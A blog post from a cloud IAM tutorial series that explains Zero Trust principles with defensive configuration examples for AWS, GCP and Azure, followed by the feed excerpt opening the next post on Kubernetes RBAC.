<p>I grew up professionally in that model. Firewalls, DMZs, trusted zones. The idea had intuitive appeal — you build walls, you control what crosses them. For a while it worked reasonably well.</p>
<p>Then I watched it fail, repeatedly, in ways that were predictable in hindsight. An engineer&#8217;s laptop gets compromised at a coffee shop. They VPN in. Now the attacker is &#8220;inside.&#8221; A contractor account gets phished. They have valid Active Directory credentials. They&#8217;re inside. A cloud service gets misconfigured and exposes a management interface. There&#8217;s no perimeter for that to be inside of.</p>
<p>The perimeter model failed not because the walls weren&#8217;t strong enough, but because the premise was wrong. There is no inside. There is no perimeter that reliably separates trusted from untrusted. In a world of remote work, cloud services, contractor access, and API integrations, the attack surface doesn&#8217;t respect network boundaries.</p>
<p>Zero Trust is the architecture built on a different premise: <strong>trust nothing implicitly. Verify everything explicitly. Minimize blast radius by assuming you will be breached.</strong></p>
<p>This isn&#8217;t a product you buy. It&#8217;s a set of principles applied to how you design, build, and operate your IAM. This episode is how those principles translate to concrete practices — building on everything we&#8217;ve covered in this series.</p>
<hr />
<h2 id="the-three-principles">The Three Principles</h2>
<h3 id="verify-explicitly">Verify Explicitly</h3>
<p>Every request must carry verifiable identity and context. Network location is not identity.</p>
<pre><code class="" data-line="">Old model: request from 10.0.0.0/8 → trusted, proceed
Zero Trust: request from 10.0.0.0/8 → still must present verifiable identity
                                       still must pass authorization check
                                       still must pass context evaluation
                                       then proceed (or deny)
</code></pre>
<p>In cloud IAM terms: every API call carries identity claims (IAM role ARN, federated identity, managed identity), and those claims are verified against policy on every single request. There&#8217;s no concept of &#8220;once authenticated, trusted until logout.&#8221; In cloud IAM, this already exists natively. Every API call is authenticated and authorized independently. The challenge is extending this model to internal services, internal APIs, and human access patterns.</p>
<p>Implementation in practice:<br />
&#8211; mTLS for service-to-service communication — both sides present certificates; identity is the certificate, not the network path<br />
&#8211; Bearer tokens on every internal API call — no session cookies, no &#8220;we&#8217;re on the same VPC so it&#8217;s fine&#8221;<br />
&#8211; Short-lived credentials everywhere — a compromised credential expires, not &#8220;after the session times out in 8 hours&#8221;</p>
<h3 id="use-least-privilege-just-in-time-just-enough">Use Least Privilege — Just-in-Time, Just-Enough</h3>
<p>No standing access to sensitive resources. Access granted when needed, for the minimum scope, for the minimum duration.</p>
<pre><code class="" data-line="">Old model: alice is in the DBA group → permanent access to all databases
Zero Trust: alice requests access to production DB →
            verified: alice&#039;s device is enrolled in MDM and compliant
            verified: alice has an open change ticket for this task
            verified: current time is within business hours
            granted: connection to this specific database, from alice&#039;s specific IP
                     for 2 hours, then revoked automatically
</code></pre>
<p>This is JIT access. It reduces the window where a compromised credential can cause damage. It requires a change in how engineers think about access: access is not a property you have, it&#8217;s something you request when you need it. The operational friction is a feature, not a bug. Justifying each elevated access request is what keeps the access model honest.</p>
<h3 id="assume-breach">Assume Breach</h3>
<p>Design systems as if the attacker is already inside. This drives different decisions:</p>
<ul>
<li>Micro-segmentation: one role per service, minimum permissions per role. If one service is compromised, it can&#8217;t pivot to everything else.</li>
<li>Log everything: every authorization decision, allow or deny. When you&#8217;re investigating an incident, you need to know what happened, not just that something happened.</li>
<li>Automate response: anomalous API call pattern → trigger automated credential revocation or session termination. Don&#8217;t wait for a human to notice.</li>
</ul>
<hr />
<h2 id="building-zero-trust-iam-block-by-block">Building Zero Trust IAM — Block by Block</h2>
<h3 id="block-1-strong-identity-foundation">Block 1: Strong Identity Foundation</h3>
<p>You can&#8217;t verify explicitly without strong authentication. The starting point:</p>
<pre><code class="" data-line=""># AWS: require MFA for all IAM operations — enforce via SCP across the org
{
  &quot;Effect&quot;: &quot;Deny&quot;,
  &quot;Action&quot;: &quot;*&quot;,
  &quot;Resource&quot;: &quot;*&quot;,
  &quot;Condition&quot;: {
    &quot;BoolIfExists&quot;: {
      &quot;aws:MultiFactorAuthPresent&quot;: &quot;false&quot;
    },
    &quot;StringNotLike&quot;: {
      &quot;aws:PrincipalArn&quot;: [
        &quot;arn:aws:iam::*:role/AWSServiceRole*&quot;,
        &quot;arn:aws:iam::*:role/OrganizationAccountAccessRole&quot;
      ]
    }
  }
}
</code></pre>
<pre><code class="" data-line=""># GCP: enforce OS Login for VM SSH (ties SSH access to Google identity, not SSH keys)
gcloud compute project-info add-metadata \
  --metadata enable-oslogin=TRUE

# This means: SSH to a VM requires your Google identity to have roles/compute.osLogin
# or roles/compute.osAdminLogin. No more managing ~/.authorized_keys files on instances.
</code></pre>
<p>For human access: hardware FIDO2 keys (YubiKey, Google Titan) rather than TOTP where possible. TOTP codes can be phished in real-time adversary-in-the-middle attacks. Hardware keys cannot — the cryptographic challenge-response is bound to the origin URL.</p>
<h3 id="block-2-device-posture-as-an-access-signal">Block 2: Device Posture as an Access Signal</h3>
<p>In a Zero Trust model, the identity of the user is necessary but not sufficient. The state of the device matters too — a compromised endpoint with valid credentials is still a threat.</p>
<pre><code class="" data-line=""># Azure Conditional Access: block access from non-compliant devices
# (configures in Entra ID Conditional Access portal)
conditions:
  clientAppTypes: [browser, mobileAppsAndDesktopClients]
  devices:
    deviceFilter:
      mode: exclude
      rule: &quot;device.isCompliant -eq True and device.trustType -eq &#039;AzureAD&#039;&quot;
grantControls:
  builtInControls: [compliantDevice]
</code></pre>
<pre><code class="" data-line=""># AWS Verified Access: identity + device posture for application access — no VPN
aws ec2 create-verified-access-instance \
  --description &quot;Zero Trust app access&quot;

# Attach identity trust provider (Okta OIDC)
aws ec2 create-verified-access-trust-provider \
  --trust-provider-type user \
  --user-trust-provider-type oidc \
  --oidc-options IssuerURL=https://company.okta.com,ClientId=...,ClientSecret=...,Scope=openid

# Attach device trust provider (Jamf, Intune, or CrowdStrike)
aws ec2 create-verified-access-trust-provider \
  --trust-provider-type device \
  --device-trust-provider-type jamf \
  --device-options TenantId=JAMF_TENANT_ID
</code></pre>
<p>AWS Verified Access allows users to reach internal applications by verifying both their identity (via OIDC) and their device health (via MDM) — without a VPN. The access gateway evaluates both signals on every connection, not just at login.</p>
<h3 id="block-3-just-in-time-privilege-elevation">Block 3: Just-in-Time Privilege Elevation</h3>
<p>No standing elevated access. Engineers are eligible for elevated roles; they activate them when needed.</p>
<pre><code class="" data-line=""># Azure PIM: engineer activates an eligible privileged role
az rest --method POST \
  --uri &quot;https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests&quot; \
  --body &#039;{
    &quot;action&quot;: &quot;selfActivate&quot;,
    &quot;principalId&quot;: &quot;USER_OBJECT_ID&quot;,
    &quot;roleDefinitionId&quot;: &quot;ROLE_DEF_ID&quot;,
    &quot;directoryScopeId&quot;: &quot;/&quot;,
    &quot;justification&quot;: &quot;Investigating security alert in tenant — incident ticket INC-2026-0411&quot;,
    &quot;scheduleInfo&quot;: {
      &quot;startDateTime&quot;: &quot;2026-04-11T09:00:00Z&quot;,
      &quot;expiration&quot;: {&quot;type&quot;: &quot;AfterDuration&quot;, &quot;duration&quot;: &quot;PT4H&quot;}
    }
  }&#039;
# Access activates, lasts 4 hours, then automatically removed
</code></pre>
<pre><code class="" data-line=""># AWS: temporary account assignment via Identity Center
# (typically triggered by ITSM workflow integration, not manual CLI)
aws sso-admin create-account-assignment \
  --instance-arn &quot;arn:aws:sso:::instance/ssoins-xxx&quot; \
  --target-id ACCOUNT_ID \
  --target-type AWS_ACCOUNT \
  --permission-set-arn &quot;arn:aws:sso:::permissionSet/ssoins-xxx/ps-yyy&quot; \
  --principal-type USER \
  --principal-id USER_ID

# Schedule deletion (using EventBridge + Lambda in a real deployment)
aws sso-admin delete-account-assignment \
  --instance-arn &quot;arn:aws:sso:::instance/ssoins-xxx&quot; \
  --target-id ACCOUNT_ID \
  --target-type AWS_ACCOUNT \
  --permission-set-arn &quot;arn:aws:sso:::permissionSet/ssoins-xxx/ps-yyy&quot; \
  --principal-type USER \
  --principal-id USER_ID
</code></pre>
<p>The operational change this requires: engineers stop thinking of access as something they hold permanently and start thinking of it as something they request for a specific purpose.</p>
<p>This feels like friction until you&#8217;re investigating an incident and you have a precise record of who activated what elevated access and why.</p>
<h3 id="block-4-continuous-session-validation">Block 4: Continuous Session Validation</h3>
<p>Traditional auth: verify once at login, trust the session until timeout.<br />
Zero Trust auth: re-evaluate access signals continuously throughout the session.</p>
<pre><code class="" data-line="">Session starts: identity verified + device compliant + IP in expected range
                → access granted

15 minutes later: impossible travel detected (IP changes to different country)
                  → step-up authentication required, or session terminated

Later: device compliance state changes (EDR detects malware)
       → all active sessions for this device revoked immediately
</code></pre>
<p>This requires integration between your identity platform and your device management / EDR tooling. Entra ID Conditional Access with Continuous Access Evaluation (CAE) implements this natively. When certain events occur — device compliance change, IP anomaly, token revocation — access tokens are invalidated within minutes rather than waiting for natural expiry.</p>
<pre><code class="" data-line="">// GCP: bind IAM access to an Access Context Manager access level
// Access level enforces device compliance — if device falls out of compliance,
// the access level is no longer satisfied and requests fail immediately
gcloud projects add-iam-policy-binding my-project \
  --member=&quot;user:alice@company.com&quot; \
  --role=&quot;roles/bigquery.admin&quot; \
  --condition=&quot;expression=request.auth.access_levels.exists(x, x == &#039;accessPolicies/POLICY_NUM/accessLevels/corporate_compliant_device&#039;),title=Compliant device required&quot;
</code></pre>
<h3 id="block-5-micro-segmented-permissions">Block 5: Micro-Segmented Permissions</h3>
<p>Every service has its own identity. Every identity has only what it needs. Compromise of one service cannot propagate to others.</p>
<pre><code class="" data-line=""># Terraform: IAM as code — each service gets a dedicated, scoped role
resource &quot;aws_iam_role&quot; &quot;order_processor&quot; {
  name                 = &quot;svc-order-processor&quot;
  permissions_boundary = aws_iam_policy.service_boundary.arn

  assume_role_policy = jsonencode({
    Version = &quot;2012-10-17&quot;
    Statement = [{
      Effect    = &quot;Allow&quot;
      Principal = { Service = &quot;lambda.amazonaws.com&quot; }
      Action    = &quot;sts:AssumeRole&quot;
    }]
  })
}

resource &quot;aws_iam_role_policy&quot; &quot;order_processor&quot; {
  name   = &quot;order-processor-policy&quot;
  role   = aws_iam_role.order_processor.id
  policy = jsonencode({
    Version = &quot;2012-10-17&quot;
    Statement = [
      {
        Effect   = &quot;Allow&quot;
        Action   = [&quot;sqs:ReceiveMessage&quot;, &quot;sqs:DeleteMessage&quot;, &quot;sqs:GetQueueAttributes&quot;]
        Resource = aws_sqs_queue.orders.arn
      },
      {
        Effect   = &quot;Allow&quot;
        Action   = [&quot;dynamodb:PutItem&quot;, &quot;dynamodb:GetItem&quot;, &quot;dynamodb:UpdateItem&quot;]
        Resource = aws_dynamodb_table.orders.arn
      }
    ]
  })
}
</code></pre>
<pre><code class="" data-line=""># Open Policy Agent: enforce IAM standards at the policy level
# Run this in CI/CD — fail the build if any policy statement has wildcard actions
package iam.policy

deny[msg] {
  input.Statement[i].Effect == &quot;Allow&quot;
  input.Statement[i].Action == &quot;*&quot;
  msg := sprintf(&quot;Statement %d has wildcard Action — not allowed&quot;, [i])
}

deny[msg] {
  input.Statement[i].Effect == &quot;Allow&quot;
  input.Statement[i].Resource == &quot;*&quot;
  endswith(input.Statement[i].Action, &quot;Delete&quot;)
  msg := sprintf(&quot;Statement %d allows Delete on all resources — requires specific ARN&quot;, [i])
}
</code></pre>
<h3 id="block-6-universal-audit-trail">Block 6: Universal Audit Trail</h3>
<p>Zero Trust without logging is just obscurity. Every authorization decision — allow and deny — must be logged, retained, and queryable.</p>
<pre><code class="" data-line=""># AWS: verify CloudTrail is comprehensive
aws cloudtrail get-trail-status --name management-trail
# Must have: LoggingEnabled=true, IsMultiRegionTrail=true, IncludeGlobalServiceEvents=true

# Verify no management events are excluded
aws cloudtrail get-event-selectors --trail-name management-trail \
  | jq &#039;.EventSelectors[] | {ReadWrite: .ReadWriteType, Mgmt: .IncludeManagementEvents}&#039;
# ReadWriteType should be &quot;All&quot;; IncludeManagementEvents should be true

# GCP: ensure Data Access audit logs are enabled for IAM
gcloud projects get-iam-policy my-project --format=json | jq &#039;.auditConfigs&#039;
# Should see auditLogConfigs for cloudresourcemanager.googleapis.com and iam.googleapis.com
# with both DATA_READ and DATA_WRITE enabled

# Azure: route Entra ID logs to Log Analytics for long-term retention and querying
az monitor diagnostic-settings create \
  --name entra-audit-to-la \
  --resource &quot;/tenants/TENANT_ID/providers/microsoft.aad/domains/company.com&quot; \
  --logs &#039;[{&quot;category&quot;:&quot;AuditLogs&quot;,&quot;enabled&quot;:true},{&quot;category&quot;:&quot;SignInLogs&quot;,&quot;enabled&quot;:true}]&#039; \
  --workspace /subscriptions/SUB_ID/resourceGroups/rg-monitoring/providers/Microsoft.OperationalInsights/workspaces/security-logs
</code></pre>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<p>Zero Trust IAM isn&#8217;t a framework itself — it&#8217;s a design philosophy. But it maps cleanly onto the controls that compliance frameworks are pushing organizations toward:</p>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — IAM</td>
<td>Zero Trust reframes IAM as continuous, context-aware verification rather than perimeter-based trust</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 1 — Security &amp; Risk Management</td>
<td>Assume breach as a risk management posture; blast radius minimization through least privilege</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 7 — Security Operations</td>
<td>Continuous monitoring, anomaly detection, and automated response are operational requirements of Zero Trust</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Zero Trust access policy: verify explicitly, least privilege, assume breach</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.16 Monitoring activities</td>
<td>Continuous session validation and universal audit trail — all authorization decisions logged</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.20 Networks security</td>
<td>Micro-segmentation and mTLS replace implicit network trust with verified identity at every hop</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.23 Information security for cloud services</td>
<td>Zero Trust architecture applied to cloud IAM across AWS, GCP, and Azure</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Zero Trust logical access controls — JIT, device posture, context-aware authorization</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.7</td>
<td>Continuous session validation and transmission controls across all system components</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC7.1</td>
<td>Threat detection through universal audit trails and anomaly-triggered automated response</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC7.2</td>
<td>Incident response — automated revocation and session termination on anomaly detection</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="zero-trust-maturity-where-to-start">Zero Trust Maturity — Where to Start</h2>
<p>In practice, most organizations think about Zero Trust as a destination — a large, multi-year program. The reality is it&#8217;s a direction. Any movement in that direction reduces risk.</p>
<table>
<thead>
<tr>
<th>Level</th>
<th>Where You Are</th>
<th>What to Build Next</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 — Initial</td>
<td>Some MFA; static credentials for machines; no centralized IdP</td>
<td>Eliminate machine static keys → workload identity</td>
</tr>
<tr>
<td>2 — Managed</td>
<td>Centralized IdP; SSO for most systems; some MFA enforcement</td>
<td>Close SSO gaps; enforce MFA everywhere; federate to cloud</td>
</tr>
<tr>
<td>3 — Defined</td>
<td>Least privilege being enforced; audit tooling in use; JIT for some privileged access</td>
<td>Expand JIT; policy-as-code in CI/CD; quarterly access reviews</td>
</tr>
<tr>
<td>4 — Contextual</td>
<td>Device posture in access decisions; conditional access policies</td>
<td>Continuous session evaluation; automated anomaly response</td>
</tr>
<tr>
<td>5 — Optimizing</td>
<td>Policy-as-code everywhere; automated right-sizing; anomaly-triggered revocation</td>
<td>Refine and maintain — Zero Trust is never &#8220;done&#8221;</td>
</tr>
</tbody>
</table>
<p>The jump from Level 1 to Level 3 delivers the most security value per unit of effort. Start there. Don&#8217;t defer least privilege enforcement while you build a sophisticated device posture integration.</p>
<hr />
<h2 id="the-practical-sequence">The Practical Sequence</h2>
<p>If you&#8217;re building Zero Trust IAM from where most organizations are, this is the order that maximizes early security value:</p>
<ol>
<li>
<p><strong>Inventory all identities</strong> — human and machine. You cannot secure what you can&#8217;t see. Build a complete picture before changing anything.</p>
</li>
<li>
<p><strong>Eliminate static credentials for machines</strong> — replace access keys and SA key files with workload identity. This is the highest-ROI change in most environments.</p>
</li>
<li>
<p><strong>Enforce MFA for all human access</strong> — especially cloud consoles, IdP admin, and VPN. Hardware keys for privileged accounts.</p>
</li>
<li>
<p><strong>Federate human identity</strong> — single IdP, SSO to cloud and major applications. Centralize the revocation path.</p>
</li>
<li>
<p><strong>Right-size IAM permissions</strong> — use last-accessed data and IAM Recommender to find and remove unused permissions. This is a continuous discipline, not a one-time clean-up.</p>
</li>
<li>
<p><strong>JIT for privileged access</strong> — Azure PIM, AWS Identity Center assignment automation, or equivalent for all elevated roles. No standing admin.</p>
</li>
<li>
<p><strong>IAM as code</strong> — all IAM changes via Terraform/Pulumi/CDK, reviewed in pull requests, validated by Access Analyzer or OPA in CI/CD, applied through automation.</p>
</li>
<li>
<p><strong>Continuous monitoring</strong> — alerts on IAM mutations, anomalous API call patterns, new cross-account trust relationships, new public resource exposures.</p>
</li>
<li>
<p><strong>Add context signals</strong> — Conditional Access policies incorporating device posture. Access Context Manager in GCP. AWS Verified Access for application access.</p>
</li>
<li>
<p><strong>Automated response</strong> — anomaly detected → automatic credential suspension or session termination. Close the window between detection and containment.</p>
</li>
</ol>
<hr />
<h2 id="core-curriculum-complete">Core Curriculum Complete</h2>
<p>These twelve episodes covered Cloud IAM from the question &#8220;what even is IAM?&#8221; to Zero Trust architecture:</p>
<table>
<thead>
<tr>
<th>Episode</th>
<th>Topic</th>
<th>The Core Lesson</th>
</tr>
</thead>
<tbody>
<tr>
<td>EP01</td>
<td>What is IAM?</td>
<td>Access management is deny-by-default; every grant is an explicit decision</td>
</tr>
<tr>
<td>EP02</td>
<td>AuthN vs AuthZ</td>
<td>Two separate gates; passing one doesn&#8217;t open the other</td>
</tr>
<tr>
<td>EP03</td>
<td>Roles, Policies, Permissions</td>
<td>Structure prevents drift; wildcards accumulate into exposure</td>
</tr>
<tr>
<td>EP04</td>
<td>AWS IAM Deep Dive</td>
<td>Trust policies and permission policies are both required; the evaluation chain has six layers</td>
</tr>
<tr>
<td>EP05</td>
<td>GCP IAM Deep Dive</td>
<td>Hierarchy inheritance is a feature that needs careful handling; service account keys are an antipattern</td>
</tr>
<tr>
<td>EP06</td>
<td>Azure RBAC and Entra ID</td>
<td>Two separate authorization planes; managed identities are the right model for workloads</td>
</tr>
<tr>
<td>EP07</td>
<td>Workload Identity</td>
<td>Static credentials for machines are solvable at the root; OIDC token exchange replaces them</td>
</tr>
<tr>
<td>EP08</td>
<td>IAM Attack Paths</td>
<td>The attack chain runs through IAM; <code class="" data-line="">iam:PassRole</code> and its equivalents are privilege escalation primitives</td>
</tr>
<tr>
<td>EP09</td>
<td>Least Privilege Auditing</td>
<td>5% utilization is the average; the 95% excess is attack surface — and it&#8217;s measurable</td>
</tr>
<tr>
<td>EP10</td>
<td>Federation, OIDC, SAML</td>
<td>The IdP is the trust anchor; everything downstream is bounded by its security</td>
</tr>
<tr>
<td>EP11</td>
<td>Kubernetes RBAC</td>
<td>Two separate IAM layers; both must be secured; <code class="" data-line="">cluster-admin</code> is the first thing to audit</td>
</tr>
<tr>
<td>EP12</td>
<td>Zero Trust IAM</td>
<td>Trust nothing implicitly; verify everything explicitly; minimize blast radius through least privilege at every layer</td>
</tr>
</tbody>
</table>
<p>IAM is not a feature you configure. It&#8217;s a practice you maintain. The organizations that operate with genuinely low cloud IAM risk don&#8217;t have fewer identities — they have better visibility into what those identities can do, and why, and what happened when something went wrong.</p>
<p>That&#8217;s the foundation this series has been building toward — but the curriculum doesn&#8217;t stop here. AWS, GCP, and Azure ship new services constantly, and every new service ships new IAM permissions. Scoping a policy correctly on day one is a different skill than auditing it after the fact — that&#8217;s where this series goes next.</p>
<hr />
<p>The full series is at <a href="/cloud-iam-series/">linuxcent.com/cloud-iam-series</a>. Subscribe to get new Cloud IAM episodes as new cloud permissions land — plus the eBPF series running in parallel, covering what&#8217;s actually running in kernel space when Cilium, Falco, and Tetragon do their work.</p>
<p>Subscribe → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&amp;linkname=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&amp;linkname=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&amp;linkname=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&amp;linkname=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&amp;linkname=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&amp;linkname=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&amp;linkname=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fzero-trust-iam%2F&#038;title=Zero%20Trust%20Access%20in%20the%20Cloud%3A%20How%20the%20Evaluation%20Loop%20Actually%20Works" data-a2a-url="https://linuxcent.com/zero-trust-iam/" data-a2a-title="Zero Trust Access in the Cloud: How the Evaluation Loop Actually Works"></a></p><p>The post <a href="https://linuxcent.com/zero-trust-iam/">Zero Trust Access in the Cloud: How the Evaluation Loop Actually Works</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/zero-trust-iam/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1516</post-id>	</item>
		<item>
		<title>Kubernetes RBAC and AWS IAM: The Two-Layer Access Model for EKS</title>
		<link>https://linuxcent.com/kubernetes-rbac-cloud-iam/</link>
					<comments>https://linuxcent.com/kubernetes-rbac-cloud-iam/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 20 Apr 2026 17:06:27 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[EKS]]></category>
		<category><![CDATA[GKE]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[Kubernetes RBAC]]></category>
		<category><![CDATA[Kubernetes Security]]></category>
		<category><![CDATA[Service Accounts]]></category>
		<guid isPermaLink="false">https://linuxcent.com/kubernetes-rbac-cloud-iam/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span>Kubernetes RBAC and cloud IAM are separate layers — both must be secured. Service accounts, OIDC auth, IRSA, GKE Workload Identity, AKS integration, and audit tools.</p>
<p>The post <a href="https://linuxcent.com/kubernetes-rbac-cloud-iam/">Kubernetes RBAC and AWS IAM: The Two-Layer Access Model for EKS</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 9</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → <a href="/aws-iam-deep-dive/">AWS IAM Deep Dive</a> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a> → <a href="/azure-rbac-entra-id-guide/">Azure RBAC Scopes</a> → <a href="/workload-identity-oidc-service-accounts/">OIDC Workload Identity</a> → <a href="/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation</a> → <a href="/iam-least-privilege-audit/">AWS Least Privilege Audit</a> → <a href="/cloud-identity-federation-oidc-saml/">SAML vs OIDC Federation</a> → <strong>Kubernetes RBAC and AWS IAM</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Kubernetes RBAC and cloud IAM are separate authorization layers — strong cloud IAM with weak Kubernetes RBAC is still a vulnerable cluster</li>
<li><code class="" data-line="">cluster-admin</code> ClusterRoleBindings are the first thing to audit — a compromised pod with cluster-admin controls the entire cluster</li>
<li>Disable <code class="" data-line="">automountServiceAccountToken</code> on pods that don&#8217;t call the Kubernetes API — most application pods don&#8217;t need it mounted</li>
<li>Use OIDC for human access instead of X.509 client certificates — client certs cannot be revoked without rotating the CA</li>
<li>Bind groups from IdP, not individual usernames — revocation propagates automatically when someone leaves</li>
<li>A ServiceAccount that can <code class="" data-line="">create pods</code> or <code class="" data-line="">create rolebindings</code> is a privilege escalation path: the same class of risk as <code class="" data-line="">iam:PassRole</code></li>
</ul>
